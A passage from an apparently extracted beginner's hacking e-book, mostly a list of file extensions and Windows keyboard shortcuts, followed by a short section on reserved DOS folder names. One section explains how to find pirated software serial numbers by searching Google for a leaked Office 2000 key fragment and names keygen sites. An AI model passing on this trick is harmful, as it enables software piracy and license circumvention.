3528.EMU IRMA Workstation for Windows emulation
3529.ENC ADW Knowledge Ware Encyclopedia
3530.END Corel Draw Arrow Definition file
3531.ENG Sprint dictionary file engine
3532.ENV Word Perfect for Windows environment file.
3533.EPG Exported PaGe file used with DynaVox
3534.EPS Encapsulated Postscript, with embedded TIFF preview images.
3535.EQN Word Perfect for Windows Equation file
3536.ERD Entity Relation Diagram graphic file
3537.ERM Entity Relation Diagram model file
3538.ERR Error log file
3539.ESH Extended Shell Batch file
3540.EVT Event file scheduler file for PC Tools
3541.EX3 Device driver for Harvard graphics 3.0
3542.EXC QEMM exclude file from optimization file or Rexx program file
3543.EXE Executable file.
3544.EXT Extension file for Norton Commander
3545F
3546.FDF Adobe Acrobat Forms Document.
3547Hacking For Beginners – Manthan Desai 2010
3548w w w . h a c k i n g t e c h . c o . t v
3549Page 168
3550.FF AGFA CompuGraphics outline font description.
3551.FFA Microsoft Fast Find file.
3552.FFF GUS PnP bank / defFax fax document
3553.FFL Microsoft Fast Find file / PrintMaster Gold form file
3554.FFO Microsoft Fast Find file
3555.FFT DCA/FFT final form text
3556.FFX Microsoft Fast Find file
3557.FON Font files to support display and output devices.
3558.FR3 dBase IV renamed dBase III+ form
3559.FRF FontMonger Font
3560.FRG dBase IV uncompiled report
3561.FRK Compressed zip file used with Apple Macinotsh computers.
3562.FRM Form file used with various programs / Microsoft Visual Basic Form / FrameMaker document / FrameBuilder file /
3563Oracle executable form / Word Perfect Merge form / DataCAD symbol report file
3564.FRO dBase IV compiled report / FormFlow file
3565.FRP PerForm Pro Plus Form
3566.FRS WordPerfect graphics driver
3567.FRT FoxPro report file
3568.FRX Microsoft Visual basic binary form file / FoxPro report file
3569.FRZ FormFlow file
3570G
3571.GIF CompuServe Graphics Interchange Format.
3572.GR2 286 grabbers that specify which font to use with DOS and Windows.
3573.GR3 386 grabbers that specify which font to use with DOS and Windows.
3574.GRA Microsoft Flight simulator graphics file
3575.GRB Microsoft MS-DOS shell monitor
3576.GRF Micrografx draw/graph files.
3577.GRP Microsoft Program Group.
3578Hacking For Beginners – Manthan Desai 2010
3579w w w . h a c k i n g t e c h . c o . t v
3580Page 169
3581.GZ Compressed Archive file for GZip
3582H
3583.HBK Mathcad handbook file
3584.HDL Procomm Plus alternate download file listing
3585.HDR Procomm Plus message header
3586.HDX Help index
3587.HEX Hex dump
3588.HFI GEM HP font info
3589.HGL HP graphics language graphic
3590.HH C++ Header
3591.HHH Precompiled Header for Power C
3592.HHP Help data for Procomm Plus
3593.HLP Files that contain the Help feature used in windows, cannot be read from DOS.
3594.HQX Apple Macintosh Binhex text conversion file.
3595.HSQ Data files associated with the Qaz Trojan.
3596.HSS Photoshop Hue/Saturation information.
3597.HST History file / Procomm Plus History File / Host file.
3598.HTA Hypertext Application (run applications from HTML document).
3599.HTM Web page files containing HTML or other information found on the Internet.
3600I
3601.ICA Citrix file / IOCA graphics file
3602.ICB Targa Bitmap
3603.ICC Kodak printer image
3604.ICE Archive file
3605.ICL Icon library file
3606.ICM Image Color Matching profile file
3607.ICN Microsoft Windows Icon Manager.
3608Hacking For Beginners – Manthan Desai 2010
3609w w w . h a c k i n g t e c h . c o . t v
3610Page 170
3611.ICO Microsoft Windows Icondraw / Icon.
3612.ID Disk identification file.
3613.IDB Microsoft developer intermediate file, used with Microsoft Visual Studio
3614.IDD MIDI instruments definition
3615.IDE Integrated Development Environment configuration file
3616.IDF MIDI instruments drivers file
3617.IDQ Internet data query file
3618.IDX Index file
3619.IFF IFF/LBM (Amiga) used by Computer Eyes frame grabber.
3620.IMG GEM/IMG (Digital Research) or Ventura Publisher bitmap graphic
3621.INF Information file that contains customization options.
3622.INI Files that initialize Windows and Windows apps.
3623.IPF Installer Script File / OS/2 online documentation for Microsoft source files.
3624.ISO Compressed file used for an exact duplicate of a CD. .ISO files can be extracted or opened such programs as Win
3625Image that can be found on our shareware download section.
3626.IWA IBM Writing Assistant Text file.
3627J
3628.JAS Graphic
3629.JPG Graphic commonly used on the Internet and capable of being opened by most modern image editors.
3630.JS JavaScript file.
3631.JSB Henter-Joyce Jaws script binary file
3632.JSD eFAX jet suite document
3633.JSE JScript encoded script file
3634.JSH Henter-Joyce Jaws script header file
3635.JSL PaintShop pro file
3636.JSM Henter-Joyce Jaws script message file
3637.JSP Java server page
3638.JSS Henter-Joyce Jaws script source file
3639Hacking For Beginners – Manthan Desai 2010
3640w w w . h a c k i n g t e c h . c o . t v
3641Page 171
3642.JT JT fax file
3643.JTF JPEG tagged Interchange format file
3644.JTK Sun Java toolkit file
3645.JTP JetForm file
3646.JW Justwrite text file
3647.JWL Justwrite text file library
3648.JZZ Jazz spreadsheet
3649K
3650.KAR Karaoke File used with some audio players.
3651L
3652.LGC Program Use Log File (for Windows Program Use Optimization).
3653.LGO Contains the code for displaying the screen logo.
3654.LOG Contains the process of certain steps, such as when running scandisk it will usually keep a scandisk.log of what
3655occurred.
3656.LNK HTML link file used with Microsoft Internet Explorer.
3657.LWP Lotus Wordpro 96/97 file.
3658M
3659.MAC Macintosh macpaint files.
3660.MBX Microsoft Outlook Express mailbox file.
3661.MD Compressed Archive file
3662.MDA Microsoft Access Add-in / Microsoft Access 2 Workgroup.
3663.MDB Microsoft Access Database / Microsoft Access Application.
3664.MDE Microsoft Access Database File
3665.MDF Menu definition file
3666.MDL Digitrakker Music Module / Rational Rose / Quake model file
3667.MDM Telix Modem Definition
3668.MDN Microsoft Access Blank Database Template
3669Hacking For Beginners – Manthan Desai 2010
3670w w w . h a c k i n g t e c h . c o . t v
3671Page 172
3672.MDP Microsoft Developer Studio Project
3673.MDT Microsoft Access Add-in Data
3674.MDW Microsoft Access Workgroup Information
3675.MDX dBase IV Multiple Index
3676.MDZ Microsoft Access Wizard Template
3677.MEB WordPerfect Macro Editor bottom overflow file
3678.MED WordPerfect Macro Editor delete save / OctaMed tracker module
3679.MEM WordPerfect Macro Editor macro / Memory File of variables
3680.MID Midi orchestra files that are used to play with midi sounds built within the sound card.
3681.MIX Power C object file / Multiplayer Picture file (Microsoft Photodraw 2000 & Microsoft Picture It!) / Command &
3682Conquer Movie/Sound file
3683.MOD Winoldap files that support (with grabbers) data exchange between DOS apps and Windows apps.
3684.MOV File used with Quick Time to display a move.
3685.MP1 MPEG audio stream, layer I
3686.MP2 MPEG audio stream, layer II
3687.MP3 MPEG audio stream, layer III; High compressed audio files generally used to record audio tracks and store them in
3688a decent sized file available for playback. See our MP3 page for additional information.
3689.MPG MPEG movie file.
3690.MSN Microsoft Network document / Decent mission file
3691.MTF Windows metafile.
3692.MTH Derive Math file
3693.MTM Sound file / MultiTracker music module
3694.MTV Picture file
3695.MTW Minitab data file
3696.MU Quattro menu
3697.MUL Ultima Online game
3698.MUP Music publisher file
3699.MUS Audio file
3700.MVB Database file / Microsoft multimedia viewer file
3701Hacking For Beginners – Manthan Desai 2010
3702w w w . h a c k i n g t e c h . c o . t v
3703Page 173
3704.MVE Interplay video file
3705.MVF Movie stop frame file
3706.MWP Lotus Wordpro 97 smartmaster file
3707.MXD ArcInfo map file
3708.MXT Microsoft C Datafile
3709.MYD Make your point presentation file.
3710N
3711.N64 Nintendo 64 Emulator ROM image.
3712.NA2 Netscape Communicator address book.
3713.NAB Novell Groupwise address book
3714.NAP Napster Music security definition file.
3715.NDF NeoPlanet Browser file
3716.NDX Indexed file for most databases.
3717.NES Nintendo Entertainment system ROM image.
3718.NIL Norton guide online documentation
3719.NGF Enterasys Networks NetSight file.
3720.NHF Nero HFS-CD compilation or a general Nero file
3721.NIL Norton icon lybrary file.
3722.NLB Oracle 7 data file
3723.NLD ATI Radeon video driver file,
3724.NMI SwordSearcher file.
3725.NON LucasArts Star Wars - Tie fighter mouse options file.
3726.NOW Extension commonly used for readme text files.
3727.NRA Nero Audio CD file.
3728.NRB Nero CD-ROM boot file.
3729.NS2 Lotus Notes 2 database,
3730.NS5 Lotus Notes Domino file,
3731.NSO NetStudio easy web graphics file.
3732Hacking For Beginners – Manthan Desai 2010
3733w w w . h a c k i n g t e c h . c o . t v
3734Page 174
3735.NT Windows NT startup file.
3736.NUM File used with some Software Manufactures to store technical support numbers or other phone numbers, should
3737be readable from DOS and or Windows.
3738O
3739.OCA Control Typelib Cache.
3740.OCX Object Linking and Embedding (OLE) control extension.
3741.OLB Object library
3742.OLD Used for backups of important files incase they are improperly updated or deleted.
3743.OLE Object Linking and Embedding object file
3744.OLI Olivetti text file
3745.ORI Original file.
3746P
3747.PAB Personal Address Book, file used with Microsoft Outlook.
3748.PB WinFax Pro phone book file
3749.PBD PowerBuilder dynamic library / Faxit phone book file
3750.PBF Turtle Beach Pinnacle bank file
3751.PBK Microsoft phonebook file
3752.PBL PowerBuilder library file
3753.PBM UNIX portable bitmap fuke
3754.PBR PowerBuilder resource
3755.PBI Profiler binary input file
3756.PBM PBM portable bit map graphic
3757.PBO Profiler binary output
3758.PBT Profiler binary table
3759.PCX Microsoft Paint & PC Paintbrush Windows/DOS.
3760.PDA Bitmap graphic file
3761.PDB TACT data file
3762.PDD Adobe PhotoDeluxe Image.
3763Hacking For Beginners – Manthan Desai 2010
3764w w w . h a c k i n g t e c h . c o . t v
3765Page 175
3766.PDF Adobe Acrobat Reader file which can only be read by Adobe Acrobat (to get file downloaded Adobe Acrobat from
3767our Download Page.
3768.PDL Borland C++ project description language file.
3769.PDS Graphic file / Pldasm source code file.
3770.PDV Paintbrush printer driver.
3771.PDW Professional Draw document.
3772.PIC Picture / Viewer Frame Class.
3773.PIF Program Information File that configures a DOS app to run efficiently in windows.
3774.PJF Paintjet soft font file.
3775.PL Harvard palette file / PERL program file
3776.PL3 Harvard chart palette
3777.PLB Foxpro library / LogoShow Screensaver file
3778.PLC Lotus Add-in
3779.PLD PLD2 source file
3780.PLG REND386 / AVRIL file
3781.PLI Oracle 7 data description
3782.PLL Prelinked library
3783.PLM DisorderTracker2 module
3784.PLN WordPerfect spreadsheet file
3785.PLR Descent Pilot file
3786.PLS WinAmp MPEG playlist file / DisorderTracker 2 Sample file / Shoutcast file / MYOB data file
3787.PLT AutoCAD HPGL vector graphic plotter file / Gerber sign-making software file / Betley's CAD Microstation driver
3788configuration for plotting
3789.PLY Autodesk polygon
3790.PP Compressed archive file.
3791.PP4 Picture Publisher.
3792.PP5 Picture Publisher.
3793.PPA Power Point Add-in.
3794.PPB WordPerfect Print preview button bar.
3795Hacking For Beginners – Manthan Desai 2010
3796w w w . h a c k i n g t e c h . c o . t v
3797Page 176
3798.PPD PostScript Printer description.
3799.PPF Turtle Beach Pinnacle program file.
3800.PPI Microsoft PowerPoint graphic file.
3801.PPL Harvard (now Serif) Polaroid Palette Plus ColorKey Driver.
3802.PPM PBM Portable Pixelmap Graphic.
3803.PPO Clipper Preprocessor Output.
3804.PPP Serif PagePlus Publication.
3805.PPS Microsoft PowerPoint Slideshow.
3806.PPT Microsoft PowerPoint presentation.
3807.PPX Serif PagePlus publication.
3808.PPZ Microsoft PowerPoint Packaged Presentation.
3809.PS2 File to support the Micro Channel Architecture in 386 Enhanced mode.
3810.PSD Adobe Photoshop image file.
3811.PST Post Office Box file used with Microsoft Outlook usually mailbox.pst unless named otherwise.
3812.PWA Password agent file.
3813.PWD Password file.
3814.PWF ProCite Workforms
3815.PWL Password file used in Windows 95 and Windows 98 is stored in the Windows directory.
3816.PWP Photoworks image file
3817.PWZ PowerPoint wizard
3818Q
3819.QIC Windows backup file
3820.QT Quick Time Movie File
3821.QXD Quark Express file
3822.QXL Quark Xpress element library
3823.QXT Quark Xpress template file
3824Hacking For Beginners – Manthan Desai 2010
3825w w w . h a c k i n g t e c h . c o . t v
3826Page 177
3827R
3828.RA Real Audio file.
3829.RAM Real Audio file.
3830.RAR Compressed file similar to .ZIP uses different compression program to extract. See our recommended download
3831page for a program that can be used to extract .RAR files.
3832.RAS File extension used for raster graphic files.
3833.RD1 Descent registered level file
3834.RD3 Ray Dream designer graphics file / CorelDraw 3D file
3835.RD4 Ray Dream designer graphics file
3836.RD5 Ray Dream designer graphics file
3837.RDB TrueVector rules database
3838.RDF Resource description framework file / Chromeleon report definition
3839.RDL Descent registered level file / RadioDestiny radio stream
3840.RDX Reflex data file
3841.REC Sound file used with Windows Sound Recorder.
3842.RLE Microsoft Windows Run Length Encoded (Run Length Encoded (bitmap format) file that contains the actual screen
3843logo).
3844.RMI Microsoft RMID sound file.
3845.RPB Automotive diagnostic file.
3846.RPD Rapidfile database
3847.RPM Red Hat Package Manager / RealMedia Player file.
3848.RPT Various Report file
3849.RTF Rich Text Format file
3850.RWZ Microsoft Outlook rules wizard file
3851S
3852.SAV File that usually contains saved information such as a saved game.
3853.SC2 Maps used in Sim City 2000.
3854.SCP Dialup Networking script file.
3855Hacking For Beginners – Manthan Desai 2010
3856w w w . h a c k i n g t e c h . c o . t v
3857Page 178
3858.SCR Source files for the .INI files, or sometimes may be used as screen savers.
3859.SD Sound Designer I audio file
3860.SD2 Sound Designer II flattened file / Sound Designer II data fork file / SAS database file
3861.SDA StarOffice drawing file / SoftCuisine data archive
3862.SDC StarOffice spreadsheet
3863.SDD StarOffice presentation
3864.SDF Standard data format file / Schedule data file / System file format / Autodesk mapguide spatial data file
3865.SDK Roland S-series floppy disk image
3866.SDL SmartDraw library
3867.SDN Small archive
3868.SDR SmartDraw drawing
3869.SDS StarOffice chart file / Raw MIDI sample dump standard file
3870.SDT SmartDraw template
3871.SDV Semicolon divided value file
3872.SDW Sun Microsystems StarOffice file document file similar to the Microsoft Office .DOC file.
3873.SDX MIDI sample dump standard files compacted by SDX
3874.SEA Short for Self Extracting Archive. Compressed file used with the Macintosh.
3875.SH Archive file
3876.SH3 Harvard (now Serif) presentation file
3877.SHB Corel Background file
3878.SHG Hotspot Editor Hypergraphic
3879.SHK Macintosh Compressed Archive file
3880.SHM WordPerfect Shell Macro
3881.SHP 3D Studio Shapes File / other 3D related file
3882.SHR Archive file
3883.SHS Shell scrap object file
3884.SHW Corel presentation / WordPerfect Slide Show / Show File
3885.SLK Multiplan file.
3886Hacking For Beginners – Manthan Desai 2010
3887w w w . h a c k i n g t e c h . c o . t v
3888Page 179
3889.SND Sound Clip file / Raw unsigned PCM data / AKAI MPC-series sample / NeXT sound / Macintosh sound resource file
3890.SNG MIDI song
3891.SNM Netscape Mail
3892.SNO SNOBOL program file
3893.SNP Snapview snapshot file
3894.SUM Summary file.
3895.SWF Macromedia Flash file.
3896.SWP Extension used for the Windows Swap File usually Win386.Swp. This file is required by Windows and generally
3897can grow very large in size sometimes up to several hundred megs. This file is used to swap information between
3898currently running programs and or memory. If this file is deleted from the computer Windows will be unable to load
3899and will need to be reinstalled.
3900.SYS System and peripheral drivers.
3901T
3902.TDF Trace Definition File used with OS/2
3903.TGA Targa file
3904.TIF Tag Image Format that includes most 24-bit color.
3905.TLB Remote automation truelib files / OLE type library / Visual C++ type library
3906.TLD Tellix file
3907.TLE NASA two-line element set
3908.TLP Microsoft project timeline fie
3909.TLT Trellix web design file
3910.TLX Trellix data file
3911.TMP Temporary files.
3912.TRM Windows Terminal.
3913.TXT Text file that can be read from windows of from DOS by using the Edit, Type, or Edlin.
3914U
3915.UNI MikMod (UniMod) format file / Forcast Pro data file
3916.UNK Unknown file type, sometimes used when a file is received that cannot be identified
3917.UNX Text file generally associated with UNIX.
3918Hacking For Beginners – Manthan Desai 2010
3919w w w . h a c k i n g t e c h . c o . t v
3920Page 180
3921.URL File used with some browsers such as Internet Explorer linking you to different web pages. Internet Shortcut.
3922V
3923.VB VBScript file
3924.VBA vBase file
3925.VBD ActiveX file
3926.VBE VBScript encoded script file
3927.VBG Visual Basic group project file
3928.VBK VisualCADD backup file
3929.VBL User license control file
3930.VBP Visual Basic project file
3931.VBR Remote automation registration files
3932.VBS Microsoft Visual Basic Script file for quick programs and in some cases can be used as a virus file.
3933.VBW Visual Basic project workplace
3934.VBX Visual Basic extension file
3935.VBZ Wizard launch file
3936.VC VisiCalc Spreadsheet file.
3937.VCD VisualCADD Drawing file.
3938.VCE Natural MicroSystems voice file.
3939.VCF vCard File / Vevi Configuration file.
3940.VCS Microsoft Outlook vCalander file.
3941.VCT FoxPro class library.
3942.VCW Microsoft Visual C++ workbench information file.
3943.VCX FoxPro class library.
3944.VDA Targa bitmap
3945.VDD Short for Virtual Device Driver. Additional information can be found here.
3946.VDO VDOScript file
3947.VDX No such file extension - Likely you meant to .vxd
3948.VM Virtual Machine / Virtual Memory file.
3949Hacking For Beginners – Manthan Desai 2010
3950w w w . h a c k i n g t e c h . c o . t v
3951Page 181
3952.VMM Virtual Machine (Memory Manager) file.
3953.VMF Ventura font characteristics file / FaxWorks audio file
3954.VMH
3955.VS2 Roland-Bass transfer file.
3956.VSD Visio drawing.
3957.VSL GetRight download list file.
3958.VSS Visio stencil.
3959.VST Video Template / Truevision Vista graphic / Targa Bitmap/
3960.VSW Visio workspace file.
3961.VXD Windows system driver file allowing a driver direct access to the Windows Kernel, allowing for low level access to
3962hardware.
3963W
3964.WAB Microsoft Outlook Express personal address book.
3965.WAD File first found in IdSoftware games such as DOOM, Quake, as well as most new games similar to these.
3966.WAV Sound files in Windows open and played with sound recorder.
3967.WB1 Quattro Pro Notebook
3968.WB2 Quattro Pro Spreadsheet
3969.WBF Microsoft Windows Batch File
3970.WBK Wordperfect document / workbook
3971.WBT Winbatch batch file
3972.WCD Wordperfect macro token list
3973.WCM Microsoft Works data transmission file / Wordperfect Macro
3974.WCP Wordperfect product information description
3975.WDB Microsoft Works database
3976.WEB Web source code file
3977.WFM dBASE Form object
3978.WFN CorelDRAW font
3979.WFX Winfax data file
3980Hacking For Beginners – Manthan Desai 2010
3981w w w . h a c k i n g t e c h . c o . t v
3982Page 182
3983.WG1 Lotus 1-2-3 worksheet
3984.WG2 Lotus 1-2-3 for OS/2 worksheet
3985.WID Ventura publisher width table
3986.WIN Foxpro - dBASE window file
3987.WIZ Microsoft Publisher page wizard
3988.WK1 Lotus 1-2-3 all versions / LotusWorks spreadsheet.
3989.WK3 Lotus 1-2-3 for Windows /Lotus 1-2-3 Rel.3.
3990.WKS Lotus 1-2-3 Rel lA,2.0,2.01, also file used with Microsoft Works.
3991.WLG Dr. Watson log file.
3992.WMA Windows Media Audio file.
3993.WMF Windows Metafile. Also see WMF dictionary definition.
3994.WMZ Windows Media Player theme package file.
3995.WPD WordPerfect Windows/DOS.
3996.WPG WordPerfect Graphical files Windows/DOS.
3997.WPM WordPerfect Macro file.
3998.WPS MS Works word processor Windows/DOS.
3999.WRI Windows Write.
4000.WRK Lotus 1-2 31.0,1.01,1.1/ Symphony 1,1.01.
4001.WRI Symphony l.1,1.2,2 / Microsoft Write file.
4002X
4003.XIF Wang image file / Xerox image file
4004.XLB Microsoft Excel File.
4005.XLS Microsoft Excel File.
4006.XM Sound file / Fast tracker 2 extended module
4007.XML Extensible markup language file.
4008.XNK Exchange shortcut
4009.XOT Xnetech job output file
4010.XPM X picsmap graphic
4011Hacking For Beginners – Manthan Desai 2010
4012w w w . h a c k i n g t e c h . c o . t v
4013Page 183
4014.XQT SuperCalc macro sheet
4015.XRF Cross Reference
4016.XR1 Epic MegaGames Xargon File
4017.XSL XML Style sheet
4018.XSM LEXIS-NEXIS tracker
4019.XTB LocoScript external translation table
4020.XWD X Windows dump file
4021.XWF Yamaha XG Works file
4022.XXE Xxencoded file
4023.XY XYWrite text file
4024.XY3 XYWrite text file
4025.XY4 XYwrite IV document
4026.XYP XYwrite III plus document
4027.XYW XYwrite Windows 4.0 document
4028Y
4029.Y Amiga YABBA compressed file archive
4030.Y01 Paradox index file
4031.Y02 Paradox index file
4032.Y03 Paradox index file
4033.Y04 Paradox index file
4034.Y05 Paradox index file
4035.Y06 Paradox index file
4036.Y07 Paradox index file
4037.Y08 Paradox index file
4038.Y09 Paradox index file
4039.YUV Yuv graphics file
4040.YZ YAC compressed file archive.
4041Hacking For Beginners – Manthan Desai 2010
4042w w w . h a c k i n g t e c h . c o . t v
4043Page 184
4044Z
4045.Z Compressed file that can hold thousands of files. To extract all the files Pkzip or Winzip will need to be used. UNIX /
4046Linux users use the compress / uncompress command to extract these files.
4047.ZIP Compressed file that can hold thousands of files. To extract all the files Pkzip or Winzip will need to be used.
4048“The List of file extension in the list may differ as the company may have updated the extension
4049so don’t consider this list as final list but this will give you sufficient knowledge”.
4050Hacking For Beginners – Manthan Desai 2010
4051w w w . h a c k i n g t e c h . c o . t v
4052Page 185
405332. Nice List of Windows Shortcuts
4054For Real Windows Newbie's here you go...
4055CTRL+C (Copy)
4056CTRL+X (Cut)
4057CTRL+V (Paste)
4058CTRL+Z (Undo)
4059DELETE (Delete)
4060SHIFT+DELETE (Delete the selected item permanently without placing the item in the Recycle Bin)
4061CTRL while dragging an item (Copy the selected item)
4062CTRL+SHIFT while dragging an item (Create a shortcut to the selected item)
4063F2 key (Rename the selected item)
4064CTRL+RIGHT ARROW (Move the insertion point to the beginning of the next word)
4065CTRL+LEFT ARROW (Move the insertion point to the beginning of the previous word)
4066CTRL+DOWN ARROW (Move the insertion point to the beginning of the next paragraph)
4067CTRL+UP ARROW (Move the insertion point to the beginning of the previous paragraph)
4068CTRL+SHIFT with any of the arrow keys (Highlight a block of text)
4069SHIFT with any of the arrow keys (Select more than one item in a window or on the desktop or select text in a document)
4070CTRL+A (Select all)
4071F3 key (Search for a file or a folder)
4072ALT+ENTER (View the properties for the selected item)
4073ALT+F4 (Close the active item, or quit the active program)
4074ALT+ENTER (Display the properties of the selected object)
4075Hacking For Beginners – Manthan Desai 2010
4076w w w . h a c k i n g t e c h . c o . t v
4077Page 186
4078ALT+SPACEBAR (Open the shortcut menu for the active window)
4079CTRL+F4 (Close the active document in programs that enable you to have multiple documents open Simultaneously)
4080ALT+TAB (Switch between the open items)
4081ALT+ESC (Cycle through items in the order that they had been opened)
4082F6 key (Cycle through the screen elements in a window or on the desktop)
4083F4 key (Display the Address bar list in My Computer or Windows Explorer)
4084SHIFT+F10 (Display the shortcut menu for the selected item)
4085ALT+SPACEBAR (Display the System menu for the active window)
4086CTRL+ESC (Display the Start menu)
4087ALT+Underlined letter in a menu name (Display the corresponding menu)
4088Underlined letter in a command name on an open menu (Perform the corresponding command)
4089F10 key (Activate the menu bar in the active program)
4090RIGHT ARROW (Open the next menu to the right, or open a submenu)
4091LEFT ARROW (Open the next menu to the left, or close a submenu)
4092F5 key (Update the active window)
4093BACKSPACE (View the folder one level up in My Computer or Windows Explorer)
4094ESC (Cancel the current task)
4095SHIFT when you insert a CD-ROM into the CD-ROM drive (Prevent the CD-ROM from automatically playing)
4096Dialog Box Keyboard Short-cuts
4097CTRL+TAB (Move forward through the tabs)
4098CTRL+SHIFT+TAB (Move backward through the tabs)
4099TAB (Move forward through the options)
4100SHIFT+TAB (Move backward through the options)
4101ALT+Underlined letter (Perform the corresponding command or select the corresponding option)
4102ENTER (Perform the command for the active option or button)
4103SPACE BAR (Select or clear the check box if the active option is a check box)
4104Arrow keys (Select a button if the active option is a group of option buttons)
4105F1 key (Display Help)
4106Hacking For Beginners – Manthan Desai 2010
4107w w w . h a c k i n g t e c h . c o . t v
4108Page 187
4109F4 key (Display the items in the active list)
4110BACKSPACE (Open a folder one level up if a folder is selected in the Save As or Open dialog box)
4111Microsoft Natural Keyboard Shortcuts
4112Windows Logo (Display or hide the Start menu)
4113Windows Logo+BREAK (Display the System Properties dialog box)
4114Windows Logo+D (Display the desktop)
4115Windows Logo+M (Minimize all of the windows)
4116Windows Logo+SHIFT+M (Restore the minimized windows)
4117Windows Logo+E (Open My Computer)
4118Windows Logo+F (Search for a file or a folder)
4119CTRL+Windows Logo+F (Search for computers)
4120Windows Logo+F1 (Display Windows Help)
4121Windows Logo+ L (Lock the keyboard)
4122Windows Logo+R (Open the Run dialog box)
4123Windows Logo+U (Open Utility Manager)
4124Accessibility Keyboard Shortcuts
4125Right SHIFT for eight seconds (Switch FilterKeys either on or off)
4126Left ALT+left SHIFT+PRINT SCREEN (Switch High Contrast either on or off)
4127Left ALT+left SHIFT+NUM LOCK (Switch the MouseKeys either on or off)
4128SHIFT five times (Switch the StickyKeys either on or off)
4129NUM LOCK for five seconds (Switch the ToggleKeys either on or off)
4130Windows Logo +U (Open Utility Manager)
4131Windows Explorer Keyboard Shortcuts
4132END (Display the bottom of the active window)
4133HOME (Display the top of the active window)
4134NUM LOCK+Asterisk sign (*) (Display all of the subfolders that are under the selected folder)
4135NUM LOCK+Plus sign (+) (Display the contents of the selected folder)
4136Hacking For Beginners – Manthan Desai 2010
4137w w w . h a c k i n g t e c h . c o . t v
4138Page 188
4139NUM LOCK+Minus sign (-) (Collapse the selected folder)
4140LEFT ARROW (Collapse the current selection if it is expanded, or select the parent folder)
4141RIGHT ARROW (Display the current selection if it is collapsed, or select the first subfolder)
4142Short-cut Keys for Character Map
4143After you double-click a character on the grid of characters, you can move through the grid by using the Keyboard shortcuts:
4144RIGHT ARROW (Move to the right or to the beginning of the next line)
4145LEFT ARROW (Move to the left or to the end of the previous line)
4146UP ARROW (Move up one row)
4147DOWN ARROW (Move down one row)
4148PAGE UP (Move up one screen at a time)
4149PAGE DOWN (Move down one screen at a time)
4150HOME (Move to the beginning of the line)
4151END (Move to the end of the line)
4152CTRL+HOME (Move to the first character)
4153CTRL+END (Move to the last character)
4154SPACEBAR (Switch between Enlarged and Normal mode when a character is selected)
4155Microsoft Management Console (MMC) Main Window Keyboard Shortcuts
4156CTRL+O (Open a saved console)
4157CTRL+N (Open a new console)
4158CTRL+S (Save the open console)
4159CTRL+M (Add or remove a console item)
4160CTRL+W (Open a new window)
4161F5 key (Update the content of all console windows)
4162ALT+SPACEBAR (Display the MMC window menu)
4163ALT+F4 (Close the console)
4164ALT+A (Display the Action menu)
4165ALT+V (Display the View menu)
4166ALT+F (Display the File menu)
4167Hacking For Beginners – Manthan Desai 2010
4168w w w . h a c k i n g t e c h . c o . t v
4169Page 189
4170ALT+O (Display the Favorites menu)
4171MMC Console Window Keyboard Shortcuts
4172CTRL+P (Print the current page or active pane)
4173ALT+Minus sign (-) (Display the window menu for the active console window)
4174SHIFT+F10 (Display the Action shortcut menu for the selected item)
4175F1 key (Open the Help topic, if any, for the selected item)
4176F5 key (Update the content of all console windows)
4177CTRL+F10 (Maximize the active console window)
4178CTRL+F5 (Restore the active console window)
4179ALT+ENTER (Display the Properties dialog box, if any, for the selected item)
4180F2 key (Rename the selected item)
4181CTRL+F4 (Close the active console window. When a console has only one console window, this shortcut closes the
4182console)
4183Remote Desktop Connection Navigation
4184CTRL+ALT+END (Open the Microsoft Windows NT Security dialog box)
4185ALT+PAGE UP (Switch between programs from left to right)
4186ALT+PAGE DOWN (Switch between programs from right to left)
4187ALT+INSERT (Cycle through the programs in most recently used order)
4188ALT+HOME (Display the Start menu)
4189CTRL+ALT+BREAK (Switch the client computer between a window and a full screen)
4190ALT+DELETE (Display the Windows menu)
4191CTRL+ALT+Minus sign (-) (Place a snapshot of the active window in the client on the Terminal server clipboard and provide
4192the same functionality as pressing PRINT SCREEN on a local computer.)
4193CTRL+ALT+Plus sign (+) (Place a snapshot of the entire client window area on the Terminal server clipboard and provide
4194the same functionality as pressing ALT+PRINT SCREEN on a local computer.)
4195Microsoft Internet Explorer Navigation
4196CTRL+B (Open the Organize Favorites dialog box)
4197CTRL+E (Open the Search bar)
4198CTRL+F (Start the Find utility)
4199Hacking For Beginners – Manthan Desai 2010
4200w w w . h a c k i n g t e c h . c o . t v
4201Page 190
4202CTRL+H (Open the History bar)
4203CTRL+I (Open the Favorites bar)
4204CTRL+L (Open the Open dialog box)
4205CTRL+N (Start another instance of the browser with the same Web address)
4206CTRL+O (Open the Open dialog box, the same as CTRL+L)
4207CTRL+P (Open the Print dialog box)
4208CTRL+R (Update the current Web page)
4209CTRL+W (Close the current window)
4210Hacking For Beginners – Manthan Desai 2010
4211w w w . h a c k i n g t e c h . c o . t v
4212Page 191
421333. How to find serial numbers on Google
4214This is a little trick that I usually use to find CD keys with Google.
4215HOW DOES THIS WORK?
4216Quite simple really.94FBRis part of an Office 2000 Pro CD key that is widely distributed as it bypasses the activation
4217requirements of Office 2K Pro. By searching for the product name and94fbr, you guarantee two things.
42181) The pages that are returned are pages dealing specifically with the product you're wanting a serial for.
42192) Because94FBRis part of a serial number, and only part of a serial number, you guarantee that any page being returned
4220is a serial number list page.
4221Step 1:- If you’re looking for a serial number for Nero (for example) go to google.com and type Nero 94FBR and it'll
4222bring it up.
4223This works great in Google.
4224“You can also use some serial number providing sites like www.smartserials.com ,
4225www.keygenguru.com etc. for searching the serial number on any software”.
4226Hacking For Beginners – Manthan Desai 2010
4227w w w . h a c k i n g t e c h . c o . t v
4228Page 192
422934. How to create a CON folder in Windows
4230Can you create a folder named "CON” in windows?
4231The Answer is NO and YES!
4232Why the answer is NO.
4233NO because when create a new folder and try to rename it to any one of the above specified names, you know what
4234happens! In Windows XP the folder name automatically changes back to "New Folder” no matter you try any number of
4235times. Where as in Windows Vista/7 when you try to rename the file you get an error message "The specified device
4236name is invalid”.
4237Why it is not possible to create a folder names CON?
4238Before we proceed further, let me tell you a small secret you can’t even create a folder named
4239CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5,
4240LPT6, LPT7, LPT8, and LPT9.and many others.
4241YES the reason you can’t create a folder with these names is because these are reserved keywords used by DOS. The
4242below list is taken from Microsoft’s website shows a list of reserved keywords in DOS.
4243NAME FUNCTION
4244CON Key board and display.
4245PRN System list device, usually a parallel port.
4246AUX Auxiliary Device, usually a serial port.
4247CLOCK$ System real-time clock.
4248NUL Bit-bucket device.
4249A: - Z: Drive letters.
4250COM1 First serial communication port.
4251LPT1 First parallel printer port.
